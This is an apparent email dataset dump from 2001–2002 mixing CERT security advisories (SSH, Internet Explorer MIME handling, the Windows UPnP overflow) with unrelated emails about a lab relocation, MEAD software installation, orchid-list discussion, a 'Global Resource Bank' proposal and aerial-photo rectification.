SSH CRC32 attack detection code contains remote integer overflow VU#596827 03/19/2001 Weaknesses in the SSH protocol simplify brute-force attacks against passwords typed in an existing SSH session VU#655259 06/12/2001 OpenSSH allows arbitrary file deletion via symlink redirection of temporary file VU#737451 07/20/2001 SSH Secure Shell sshd2 does not adequately authenticate logins to accounts with encrypted password fields containing two or fewer characters VU#279763 11/19/2001 RhinoSoft Serv-U remote administration client transmits password in plaintext VU#157447 12/04/2001 OpenSSH UseLogin directive permits privilege escalation ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-35.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History December 13, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPBj+TqCVPMXQI2HJAQGKugP9E50mOcpH0e83E5O2iblG69TRcrlHrtd8 R2lsxc/DMr9Yeh4/+WUG020wSsOBFD1EiCnnW4L8YOowkRQgaYu2xyFh33N3cPXY 0c24NL13UlMydkBb3fLkSSKDmhurzK+ewuFif3fCREReuQrFVaVdYRWSgzG3l4wq r9w81K9rgbY= =8koV -----END PGP SIGNATURE----- ",0,1 """Souleret, George"" ","""Newcomb, Andrew"" , ""Vineyard, Michael"" , ""Gilfoyle, Gerard"" ","Fri, 14 Dec 2001 12:37:09 -0500",Physics Computer Lab Relocation Costs,"Attached is the cost estimate to move the computer cluster at this time to N-206 and N-207 (subdivided). This includes the wall, doorways (replacing the cheapo wooden frame door between the two rooms now), moving the mechanical and electrical for the project, cutting down the benches to a usable height, paint and lights. The work can be accomplished by mid-January so the computers can be placed there when they arrive on campus, assuming the shelves in N-207 can be removed next week. Let me know if you would like to proceed, and when the shelves in N-207 can be removed so construction can start. As always, call with questions. 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I will send you excerpts of the article before I submit it. What I would like to have now are comments regarding your perceptions of the program, e.g. was it valuable, what did you learn from it, etc. Thanks so much, and Happy Holidays to all! Janice Janice Itzel, Teacher-on-Loan, Lesson Study Delaware Department of Education 302-739-4885, ex.3333 jitzel@state.de.us --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 ,,,,"by perun.si.umich.edu (8.9.3/8.9.3) with ESMTP id EAA23023         for ; Wed, 19 Dec 2001 04:58:37 -0500 (EST) Received: from minster.cs.york.ac.uk (minster.cs.york.ac.uk [144.32.40.2])         by sideshowmel.si.umich.edu (8.11.1/8.11.1) with ESMTP id fBJ9wcF24233         for ; Wed, 19 Dec 2001 04:58:38 -0500 Received: from pc118         ([144.32.41.119] helo=cs.york.ac.uk ident=john)         by minster.cs.york.ac.uk with esmtp (Exim 3.22 #6)         id 16GdSr-0007GT-00; Wed, 19 Dec 2001 09:56:42 +0000 Date: Wed, 19 Dec 2001 09:56:36 +0000 (GMT) From: John Murdie Subject: Re: MEAD: Re: Please will you help me install Mead? To: radev@si.umich.edu cc: John Murdie In-Reply-To: <200112190033.TAA19208@perun.si.umich.edu> MIME-Version: 1.0 Message-Id: Content-Type: TEXT/plain; charset=us-ascii Content-Length: 1805 On 18 Dec, Dragomir Radev wrote: >> > ./extract_to_summary.pl GA3.extract GA3.summary >> > >> > I get: >> > Name ""main::tree"" used only once: possible typo at ./extract_to_summary.pl >> line 55. >> > >> > I'm pretty sure that I have not made a typo anywhere - I've checked over >> > all my alterations. Can you suggest anything I should look at or try? >> > -- >> > >> > John A. Murdie >> > Experimental Officer (Software) >> > Department of Computer Science >> > University of York >> > England >> > >> > > You can ignore the warning. It is not crucial and should be removed in > the next release of MEAD. > > Are you getting a summary produced in GA3.summary? > > Drago Yes. I think that we now have Mead installed. It isn't really difficult to install, just that most people don't feel confident in following a long list of instructions (even me, a twenty-year veteran of Unix software installation). Then, when you do have it installed, it's not clear how to use Mead for your own inputs. Ian Benest says that he wants to give a Unix shell command such as:         $ mead < news.report > news.report.summary         $ (where `$' is the shell prompt) and be able to read the file `news.report.summary' somehow - with XML/HTML browser or even just a text editor. Ian is to try to start to use Mead in the new year - I think he will have more feedback for you then. I hope that my feedback has been useful to you - particularly my point that users shouldn't have to modify the central installation in order to process their own inputs - indeed, we cannot give them permissions to do that as the files come from a secure file server. Many thanks for all your assistance with getting Mead installed. -- John A. Murdie Experimental Officer (Software) Department of Computer Science University of York England -- Dragomir R. Radev radev@umich.edu Assistant Professor of Information, Electrical Engineering and Computer Science, and Linguistics, the University of Michigan, Ann Arbor Phone: 734-615-5225 Fax: 734-764-2475 http://www.si.umich.edu/~radev Next message: Dragomir Radev: ""Re: MEAD: Re: Please will you help me install Mead? (fwd)"" Previous message: : ""Re: MEAD: Re: Please will you help me install Mead?"" Next in thread: Dragomir Radev: ""Re: MEAD: Re: Please will you help me install Mead? (fwd)"" Maybe reply: Dragomir Radev: ""Re: MEAD: Re: Please will you help me install Mead? (fwd)"" Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] This archive was generated by hypermail 2b30 : Tue May 23 2006 - 05:00:02 EDT",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 19 Dec 2001 18:07:43 -0500",CERT Advisory CA-2001-36 Microsoft Internet Explorer Does Not Respect Content-Disposition and Content-Type MIME Headers," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-36 Microsoft Internet Explorer Does Not Respect Content-Disposition and Content-Type MIME Headers Original release date: December 19, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Microsoft Internet Explorer 6.0 for Windows * Microsoft Outlook, Outlook Express, or any other software that utilizes vulnerable versions of Internet Explorer to render HTML Overview Microsoft Internet Explorer contains a vulnerability in its handling of certain MIME headers in web pages and HTML email messages. This vulnerability may allow an attacker to execute arbitrary code on the victim's system when the victim visits a web page or views an HTML email message. I. Description Web pages and HTML email messages usually contain HTML text, but other files may also be included. The MIME headers Content-Disposition and Content-Type provide the information needed by the HTML rendering software to determine the type of these files. In Microsoft Internet Explorer, these MIME headers are consulted when evaluating whether to process an embedded file, but they are ignored when the file is actually processed. For example, if an executable (.exe) file is embedded with MIME headers that misrepresent it as a JPEG image file (.jpg), Internet Explorer will treat the file as a JPEG when evaluating whether it is safe to open. Once this evaluation is complete, the file will be opened according to its .exe file extension and will be executed on the local system. This behavior results in a vulnerability that allows attackers to bypass the security measures that typically screen out executable code. This code would be executed with the privileges the user who views the web page or email message. Users who view a malicious web site or HTML email message may be able to prevent the execution of the attacker's code by using the download progress dialog box to cancel the download. However, depending on the size of the embedded file and the speed of the network connection, users may not have time to cancel the file download. The CERT/CC is tracking this vulnerability as VU#443699, which corresponds directly to the ""File Execution"" vulnerability described in Microsoft Security Bulletin MS01-058. This Microsoft bulletin is available at http://www.microsoft.com/technet/security/bulletin/MS01-058.asp This vulnerability is being referenced in CVE as CAN-2001-0727. II. Impact By convincing a user to view a malicious web page or HTML email message, a remote attacker can cause the user to execute arbitrary code. Any such code would run with the privileges of the user who attempted to view the content. III. Solution Apply a patch from your vendor Microsoft has released a cumulative patch for Internet Explorer that corrects this vulnerability and several others. For more information about the patch and the vulnerabilities, please see Microsoft Security Bulletin MS01-058: http://www.microsoft.com/technet/security/bulletin/MS01-058.asp Disable file downloads in all security zones As a workaround, you can prevent malicious files from being downloaded by disabling file downloads in all security zones. Note that this decision will impact browser functionality. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Microsoft Corporation The following documents regarding this vulnerability are available from Microsoft: http://www.microsoft.com/technet/security/bulletin/MS01-058.asp http://support.microsoft.com/default.aspx?scid=kb;EN-US;q313675 _________________________________________________________________ The CERT Coordination Center acknowledges Jouko Pynnonen as the discoverer of this vulnerability and thanks Microsoft for the information presented in MS01-058. _________________________________________________________________ Author: This document was written by Jeffrey P. Lanza. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-36.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. 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Revision History December 19, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPCEWlaCVPMXQI2HJAQFgDwP/RG6V61VtHeQAXVUL/JxqTXahz0BpwxPW WCyHWrIZ7fkXTJJtecqGD3zeDiWNwdk+r83a5amgCzbj2Abfp6U3mmTOArlkV3Ge RbptkjNfd4M1KLtvbjMBSUlypxDdT/fLSjogT57IJk2ZiD3WMxvBU0CQun+zxhu1 lMdqudg6GpQ= =Qwr2 -----END PGP SIGNATURE----- ",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 20 Dec 2001 20:22:24 -0500",CERT Advisory CA-2001-37 Buffer Overflow in UPnP Service On Microsoft Windows," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-37 Buffer Overflow in UPnP Service On Microsoft Windows Original release date: December 20, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Microsoft Windows XP * Microsoft Windows ME * Microsoft Windows 98 * Microsoft Windows 98SE Overview Vulnerabilities in software included by default on Microsoft Windows XP, and optionally on Windows ME and Windows 98, may allow an intruder to execute arbitrary code on vulnerable systems, to launch denial-of-service attacks against vulnerable systems, or to use vulnerable systems to launch denial-of-service attacks against third-party systems. I. Description There is a vulnerability in the Universal Plug and Play (UPnP) service on Microsoft Windows XP and Microsoft Windows ME that could permit an intruder to execute arbitrary code with administrative privileges on a vulnerable system. The UPnP service is enabled by default on XP. Microsoft does not ship Windows ME with UPnP enabled by default, but some PC manufacturers do. UPnP may be optionally installed on Windows 98 and Windows 98SE. This vulnerability was discovered by Eeye Digital Security. For more information, see http://www.eeye.com/html/Research/Advisories/AD20011220.html http://www.microsoft.com/technet/security/bulletin/MS01-059.asp Universal Plug and Play (UPnP) is a set of protocols that allow computer systems and network devices to work together with little or no prior configuration. One vulnerability is a buffer overflow in the code that handles UPnP NOTIFY directives. This vulnerability permits an intruder to send a malicious NOTIFY directive to a vulnerable computer and cause the computer to run code of the intruder's choice. The code will run with full privileges on all vulnerable systems, including Windows XP. This can permit an attacker to take complete control of the system. A second vulnerability in the Microsoft Windows implementation of UPnP could allow an intruder to consume memory and processor time on vulnerable systems, resulting in performance degradation. Variations on this problem can allow an intruder to use a vulnerable system to launch a denial-of-service attack against a third-party. For more information about these vulnerabilities, see http://www.kb.cert.org/vuls/id/951555 http://www.kb.cert.org/vuls/id/411059 These vulnerabilities have been assigned the CVE identifiers CAN-2001-0876 and CAN-2001-0877, respectively. II. Impact Intruders can gain complete control of vulnerable systems, or interrupt the normal operation of vulnerable systems. III. Solution Apply a patch from your vendor Microsoft has provided patch information in their bulletin. Please see MS01-059, available from http://www.microsoft.com/technet/security/bulletin/MS01-059.asp Block Access to UPnP Service Until a patch can be applied, you can reduce your exposure to this problem by blocking access to ports 1900 and 5000 at your network border. This does not eliminate your exposure to attacks originating from within your network, however. Note that Microsoft Internet Connection Firewall, which runs by default on Windows XP, does not provide complete protection against this attack. Specifically, an intruder can still use a broadcast or multicast address to reach the UPnP service on Microsoft Windows. On systems that don't require UPnP, it can be disabled. Author: Shawn V. Hernan ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-37.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. 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Revision History December 20, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPCKL0KCVPMXQI2HJAQHiugP6AiOA0OEEVmdFKhkhZEznW84XKBZPrURz Z9XA6lYs7ZdZnLD3xRAheDuoYF2p3xVrJXayzXPVrk7axWotgljqUBBMn4Ce5Nh8 2kRMjVHt66jW39R5TGc37B5XBjy55XXNwAoBzBFC8uvu0tk+hvRpbkxqGZ7rhKtI 2AWSkUlltMk= =O0YG -----END PGP SIGNATURE----- ",0,1 majordomo-owner@orchidguide.com,orchids-digest@orchidguide.com,"Wed, 02 Jan 2002 01:21:41 -0500",OrchidGuide Digest V4 #1,"OrchidGuide Digest Wednesday, January 2 2002 Volume 04 : Number 001 Contents [OGD] Auto Reply to your message ... [OGD] K Barrett's oddball CITES comments [OGD] Re: Dendrobium speciosum [OGD] Cites again [OGD] new york show [OGD] CITES - more then a trade treaty. [OGD] Phil Keenan Fund for Native Orchids [OGD] breeding garden orchids [OGD] Den. bigibbum / Den phalaenopsis question Please send all mails destined for distribution to the list to orchids@orchidguide.com. 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I will be on vacation through December 31 and will contact you after that date. - --=========3C1525FA00002414/mail.instantiations.com-- ------------------------------ Date: Sun, 30 Dec 2001 17:50:50 -0800 From: ""The Edgleys"" Subject: [OGD] K Barrett's oddball CITES comments K- Sorry to disagree with your suggestion about cataloging my orchids, but you can have my Paph species list when you pry it from my cold, dead hands! I have no way to prove that I found my Paph abcdefganum on a bench at the old Beall's greenhouse on Vashon Island back in the 70's and that it was from a selfing of a superb clone. I cannot prove that I did not acquire an illegal, jungle-collected plant. To paraphrase something I heard once - just because I'm paranoid does not mean they are not after my species! David Edgley (not sure I should say where after this email) ------------------------------ Date: Sun, 30 Dec 2001 20:50:44 -0800 From: ""Jim Brasch"" Subject: [OGD] Re: Dendrobium speciosum Gentle folk, I want to thank all of the members of this list who responded to my questions about Dend. speciosum. Your answers were thoughtful and the result or much experience. The files are on one e-mail now (no attachmnents!) and I would be pleased to forward the file to anyone who sends me an address privately. It is a pleaseure to be in touch with so many orchid folks and I am sure that I speak for all the Members of the Orchid Society of the Royal Botanical Gardens and myself when I wish each and every one of you a safe, comfortable and peaceful New Year, surrounded by your favorite orchids. All bests, Jim Brasch McMaster University (ret.) ------------------------------ Date: Sun, 30 Dec 2001 18:26:45 -0800 From: K Barrett Subject: [OGD] Cites again Jim Watts wrote: [snip] > CITES should be updated for the realities of plant reproduction, regulated >salvage, and breeding operations. Indeed Jim!! I * believe* that was taken up at the conservation congress held in Perth Australia this summer. There is getting to be more activity where delisting plants is concerned. I can only hope that that's part of the AOS's 'well reasoned rational approach' to orchid conservation. LOL! (My apologies, I just have to laugh with Ned Nash because he always uses that phrase when discussing CITES etc... Like everyone else are howling dogs...) But in reality, kudos are to be given to the AOS and the Orchid Specialist Group and every other plant group if they can actually pull a rabbit out of their hats and get plants delisted. For the reason's that our friend Julio from Brazil has related so wonderfully. Please see: http://www.iucn.org/themes/ssc/news/ebulletinoct.html#anchor67189 and http://www.bgpa.wa.gov.au/OrchidCongress/OrchidCongress.html K Barrett N Calif, USA (As a shameless request can someone loan me a copy of the abstracts from the Perth meeting if its been published already?) ------------------------------ Date: Sun, 30 Dec 2001 21:29:01 -0500 From: roger thompson Subject: [OGD] new york show Assuming that the New York International Orchid Show will be at Rockefeller Center, as Iris announced, please rest assured from someone who commutes to that area weekly that there is more than ample parking both in and around Rockefeller Center for everyone. In fact, compared to the Winter Garden venue, parking prospects are tripled. Park before 11 am and play all day for $20, including tip. Roger ------------------------------ Date: Mon, 31 Dec 2001 00:02:56 -0500 From: tennis Subject: [OGD] CITES - more then a trade treaty. I'm sure everyone knows where I stand on the CITES controversy from my previous posts. I only wish to interject one thought into this, much more civil, discussion: I think it is necessary to deal with reality or theorizing and philosophizing will get one nowhere. Specifically, drawing a line between CITES, saying it's only a trade regulation treaty, and the rules and laws nations have adopted, blaming them for all the negative aspects, is unrealistic. CITES is the causative agent. Whether or not it is, whether or not it of necessity should be, these questions skirt the facts. The plain and simple fact is that it is the cause of and reason for all the other collateral regulations, laws, and restrictions, as well as the destruction of orchids in situ (now and over the next howevermany years as their habitats alter to the point of being inhospitable to orchid life) because they can't be moved. I can intellectually understand the difference but my studies in history and politics also caution me to look at the real effects and ramifications of events, ideas and laws- whether or not they make predetermined 'sense'. If 'A' in practice causes 'B', then you must accept that and work from there if you wish to change or eliminate 'B', or you're just tilting at windmills. People are the unpredictable variable here, and if CITES causes them to behave in a certain way, then it _is_ the cause. Period. So please let's not have any more of this trying to break it down into separate issues. There is in practice no separating them. It's a false issue, and will solve nothing. ------------------------------ Date: Mon, 31 Dec 2001 14:04:44 EST From: Jhyn@aol.com Subject: [OGD] Phil Keenan Fund for Native Orchids The American Orchid Society (AOS) is establishing a fund for Native Orchids in memory of Phil Keenan, who recently lost his battle with Lou Gehrig's disease. Keenan was the author of Wild Orchids Across North America. Establishing a perpetual endowment fund for native orchids requires a minimum of ten thousand dollars ($10,000). Substantial donations have been pledged, but additional contributions are needed. Donations are tax-deductible and will be acknowledged. To make a donation, send a check made out to the American Orchid Society, in memory of Phil Keenan, and send to: American Orchid Society 16700 AOS Lane Delray Beach, FL 33446-4351 If you have questions, you can contact Shirley Curtis, 603-742-7398; Sally Puth, 603-742-7157, SRPUTH@AOL.COM; or Hal Horwitz, 804-282-8691. Submitted by Jill from Wisconsin ------------------------------ Date: Tue, 01 Jan 2002 15:09:17 +0000 From: ""Nemeton Design"" Subject: [OGD] breeding garden orchids Hi everyone, and Happy New Year from Ireland! I periodically do a bit of trawling to see who else is out there in my area(s) of intrigue....breeding orchids for cold hardiness as garden plants in this climate, which is right on the borderline of many possibilities. My main breeding work just now is within the alliances related to pleione, bletilla, australian dendrobiums,and calanthe. I am interested in swapping tips, pollen, seed, etc. with anyone else growing related genera, particularly those within the EU area, but pollen and seed are small and easily mailed anywhere in the world. Non-hardy but genetically compatible relatives of calanthe for instance, would include cymbidiums, phaius, and tropical calanthes, any of which might contribute size or colour to the hardy genes of the garden plants. you get the idea......so let me know who's out there! cheers, erik _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx ------------------------------ Date: Tue, 1 Jan 2002 22:19:33 -0800 From: ""Cynthia Hill"" Subject: [OGD] Den. bigibbum / Den phalaenopsis question I'm a student judge in the midst of preparing a presentation on how to judge orchids of the Dendrobium bigibbum / phalaenopsis complex. I'd greatly appreciate hearing from anyone who is familiar with breeding trends and standards of flower quality in this group. Also, I am unable to locate the origin of the species epithet 'bigibbum'. Does it refer to the discoverer's name, or to floral anatomy? (I finally learned how to pronounce bi-GIB-bum correctly when I asked an Aussie friend why he stifled a laugh whenever I would say the plant's name :-) You can contact me directly by e-mail at: cynthiahill@msn.com. Thank you, Cindy in San Diego, California, USA ------------------------------ End of OrchidGuide Digest V4 #1 ******************************* --------------------------------------------------------------------------- To subscribe or unsubscribe to the OrchidGuide Digest (OGD), send the command: subscribe orchids-digest or unsubscribe orchids-digest in the body of your e-mail message to majordomo@orchidguide.com. --------------------------------------------------------------------------- For more information visit http://www.orchidguide.com -- End --",0,1 John Pozzi ,rbrown@socy.umd.edu,"Sat, 05 Jan 2002 12:12:05 -0500",Global Resource Bank,"R. Brown G2002: Globalizations: Cultural, Economic, Democratic College Park, MD, USA -- April 11-14, 2002 http://www.bsos.umd.edu/socy/conference/index.html Dear Mr. Brown, Thank you for your invitation to present questions, examples and papers on ""how can values be affirmed and democratic actions motivated in an age of impersonal market forces and radical cultural relativism?"" Our question is: Can a prosperous global society be achieved by a direct democratic global institution based on the universal value of ecosystems? Our answer is yes and the example is presented in the following paper: Global Resource Bank The Global Resource Bank is a direct democratic institution where the creation of money is subject to the production of ecosystems. On a planet with prolific ecosystems and high technology there is no justification for poverty or pollution. They are the price we pay for private mediums of exchange that mortgage national products. Since ecosystems produce our capital goods and services, everyone can enjoy economic security and a natural environment by exchanging their private central bank notes for publicly owned ecocredit that values our ecoproducts. Global Resource Bank Charter The People of Earth charter the Global Resource Bank to earn economic security by taking responsibility for Earth's ecosystem. Articles of Association The GRB is Earth outside national jurisdiction. Shareholders own one non-transferable share in the Bank as a birthright. The shareholders value the Bank's current gross ecoproduct wealth at 6,000 trillion ecocredits. Ecocredits have the buying power of January 1, 2000 Federal Reserve notes. The Bank's communication account receives 500 trillion ecocredits to be invested in shareholder communications. The Bank Capital Exchange account receives 700 trillion ecocredits to be invested in ecosystems and exchanged for central bank notes issued prior to July 1, 2003. Shareholder accounts receive 41 ecocredits per day for 7,317 days. Shareholders invest 10% of their capital in ecosystems. After one year of inactivity account balances revert to the GRB reserve. The Bank receives income from an ecosystem impact charge on shareholder and commercial accounts. The Bank's income account exchanges ecocredit with the Bank's reserve to keep the issue of ecocredit at the chartered amount. Ninety five percent of the Bank's income is divided equally between shareholder accounts. The communication account receives 5% to maintain communications. Shareholders invest 10% of their GRB income in ecosystems. The current GRB equals the shareholder average yearly evaluation of its gross ecoproduct wealth. Divisions of income are set by the shareholder average yearly choices. The majority of registered shareholders choose the Bank's manager. The manager sets the ecosystem impact charge and is responsible for the communication and capital exchange accounts. Amendments to this charter must be approved by a majority of the shareholders. Guardians have proxy rights. Prospectus Ecocredits value our commonwealth of capital goods and services like energy, water, air, plants, animals, minerals, etc. produced by the Bank's ecosystems. e is the ecocredit sign, as in e1,000,000,000,000 equals one trillion ecocredits. One half of the Bank's current value of e6,000t is issued to the communication, capital exchange, and during 20 years, to six billion shareholder accounts. The reserve is for additional shareholders. The Bank's ecosystem impact charge stops pollution and earns shareholders a basic income. To increase ecoproduction shareholders invest some of their GRB income in ecosystems. The Bank is currently transferring nonnegotiable ecocredits at www.grb.net (note: the site will be on line January 8th) You will find 41 ecocredits in your trial account when you register. You can register any number of accounts at the same address. If you only register one account, to see how it works, transfer ecocredits to Frances Fox and she will reciprocate. You can also register your business, government and non governmental organizations as commercial accounts. Questions & Answers Is the international banking system bankrupt? Yes, however the GRB will exchange ecocredit for current central bank notes. How will people access their GRB accounts? The Bank will buy shareholders biometrically keyed mobile telecommunicators. What can I do with nonnegotiable ecocredits? You can use them to test the Bank's clearinghouse. They cannot be used as hard currency. What about inflation? To increase the supply of ecocredits per shareholder would require an amendment to the Bank's charter. How can shareholders make an accurate evaluation of the Bank's gross ecoproduct wealth? The Bank will support the creation of information like that found at NASA http://www.nasa.gov/ World Resources Institute, http://www.wri.org/wri/wr2000/index.html UN http://www.un.org/ etc. to help them make accurate evaluations. Moreover, shareholders know if their environment is getting better or worse. What if it gets worse? Shareholders can reduce their ecofootprint and increase their investment in ecosystems and the Bank can increase the ecosystem impact charge. How is the ecosystem impact charge set? The shareholder account charge is based on the size of the average shareholder's ecofootprint and commercial account charges are based on the size of their industry's footprint. The Bank supports the creation of information like that found at Globio http://www.grida.no/prog/polar/globio/ Earth Trends and Best Foot Forward http://earthtrends.wri.org/ Why does the Bank open with 6,000 trillion ecocredits? Six billion shareholders each need e300,000 in capital to get started (e1,800t), e500t pays for telecommunications for some years out, about e200t is exchanged for central bank notes and e500t is invested in ecosystems. This comes to e3,000t leaving e3,000t in reserve. What are investments in ecosystems? Investments in solar, wind, hydro, biomass, hydrogen, tidal, wave, geothermal, fuel cell, ion and muscle energy, the arts, education and health care, eco communities, design and technology, homesteading, living simply, recycling, natural farming, gardening and landscaping, neutralizing nuclear, chemical and biological wastes, cleaning dumps, restoring paved areas to nature, converting the world's industrial military complex into an eco communication, transportation and space exploration complex, etc. Do ecocredits unite different kinds of communities? The universal value of ecoproducts unites all communities. What about government? Ecocommunities govern themselves. With the establishment of a democratic global institution that ends poverty and pollution there is no need for government welfare or defense, however the Bank invests trillions of ecocredits in national ecosystems via the UN and recapitalizes national banking systems with ecocredit via the Bank of International Settlements http://www.bis.org/cbanks.htm Who's going to work? Whoever wants to. You are cordially invited to join the GRB discussion group [grb]. For more information please go to http://groups.yahoo.com/group/grb/ or subscribe by sending an email to: grb-subscribe@yahoogroups.com Initial Capital Distribution & Ecocredit Flow Chart (see www.grb.net) Example: If the initial capital distribution of e3,000t is multiplied by an average account charge of 3.5% per year, the GRB earns e105t. Five percent (e5.25t) pays for communications, 95% earns each of six billion shareholders e16,625. Shareholders invest 10% of their GRB Income (e10t) in ecosystems, directly and through the UN and NGO. Financial services accounts supply open markets with ecocredit products such as savings, loans, stocks, bonds, insurance, etc. Glossary International Economics - the social science that deals with the production, distribution and consumption of national products and the related problems of finance, taxation, labor, inflation, deflation, exchange rates, usury, scarcity, poverty, pollution, war, depression, inequity, etc. Central Bank Notes - the acknowledgment of interest-bearing private credit that mortgages the production, distribution and consumption of national products Earth - the beautiful ecosphere that we live on Ecology - the branch of biology that deals with the relationship between life and Earth Universal Economics - the natural science that deals with the production, distribution and recycling of ecoproducts Money - a medium of exchange that stores shared value GRB Ecocredit - a publicly owned medium of exchange that stores the shared value of Earth's ecoproduct wealth GRB - Earth outside national jurisdiction, a direct democratic institution where the creation of money is subject to the production of ecosystems, a global money utility Gross GRB Ecoproduct - the total value of the Bank's annual output of capital goods and services GRB Shareholders - everyone, owners of Earth outside national jurisdiction, ecoproduct evaluators, ecosystem investors, free telecommunicators, GRB directors Bibliography Industrial Age Locke, John: 1690, Essay Concerning Human Understanding - Genuine knowledge cannot be found in nature. Smith, Adam: 1776, An Inquiry into the Nature and Causes of the Wealth of Nations - It is not nature but human effort that makes our basic products. Marx, Karl: 1894, Capital - Capitalism will result in the concentration of wealth in the hands of a few. Griffin, Edward: The Creature from Jekyll Island - The secret world of the international banking cartel. Soros, George: The Crisis of Global Capitalism - We have a global economy without a global society. The situation is untenable. Information Age Einstein, Albert: E = mc squared Shaw, Arthur & Sposoto, Donald: Implications of an Alternative World Exchange System, November 1973, Transactions of the New York Academy of Sciences. The problems of global poisoning, land destruction, malnutrition, and war are interrelated consequences of an economic system that exploits nature and man alike. Fukuoka, Masanobu: Nature will teach you. http://www.seedballs.com/2seedpa.html Smith, J. W.: The World's Wasted Wealth - Honest money can be obtained by tying money's value to the value of natural resources. Then one bank could issue money for the world. Mundell, Robert: Wall Street Journal - The ultimate development is one currency managed by a world central bank producing a common asset. Hock, Dee: Birth of the Chaordic Age - It is a story of a four-hundred-year-old industrial age rattling in its deathbed and a new age struggling to be born. Campbell, Joseph: The Power of Myth - Moyers: So when we say, ""Save the Earth,"" we're talking about saving ourselves. Campell: Yes. Ecological Age Neihardt, John: Black Elk Speaks - It is the story of all life that is holy and is good to tell, and of us two-leggeds sharing in it with the four-leggeds and the wings of the air and all green things; for these are children of one mother and their father is one Spirit. Walsch, Neale: Conversations with God - We are all one. There's enough. There's nothing to do. - God Lennon, John: Imagine UNDP, UNEP, World Bank, World Resource Institute: Economics is based on the goods and services derived from ecosystem system capital http://www.wri.org/wri/wr2000/partner_editorial.html Annan, Kofi: The environment is everyone's business. http://www.un.org/News/ossg/sg/index.html Political Action We are lobbing the UN to endorse the Bank. If you would like to help please send this message to the Permanent Missions http://www.un.int/missions/e-mail.html Subject: Global Resource Bank Dear Ambassador: Please support the UN endorsement of the Global Resource Bank at www.grb.net Sincerely, Your Name Shareholder I'd be pleased to do a grb workshop. Sincerely, John Pozzi jpozzi@worldnet.att.net ",0,1 stephen.holloway@asu.edu,Ramon Arrowsmith ,"Wed, 09 Jan 2002 11:01:04 -0700",Re: camera parameters," Ramon, The simple answer is that it can't be done without the camera parameters. We ran into the same issue with those air photos over the LY4 trench site. The unpleasant solution is to use point to point rectification with a georeferenced topo map. The complex answer is that it depends on: -how much experience the person has with aerial photography (can they recognize a Wild from a Zeiss, Fairchild, or Leica, to help make educated guesses?) -the photos themselves (do they have fiducial marks, bubble levels, date stamps, border patterns, any printed info? if so, can be used to pin down at least the make if not the model) -how many photos are involved (if only 3, is it worth the hassle?) -what resolution is needed (brute rectification can be perfectly adequate) -the history of the air photos (where are they from? is there a paper trail? if a city, state, or national 